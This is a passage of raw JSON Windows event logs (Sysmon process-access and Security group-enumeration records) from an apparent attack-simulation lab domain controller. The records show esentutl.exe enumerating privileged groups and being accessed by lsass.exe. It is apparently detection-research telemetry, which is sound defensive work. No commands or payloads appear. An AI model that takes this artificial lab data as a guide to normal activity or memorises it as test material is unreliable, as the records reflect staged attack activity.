11:56:33.119","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222170,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5596,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.119\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.119","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222171,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222172,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5597,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.119\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.119","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5598,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.119\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.119","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222173,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222174,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5599,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.119\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.119","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5600,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.119\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.119","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5601,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT 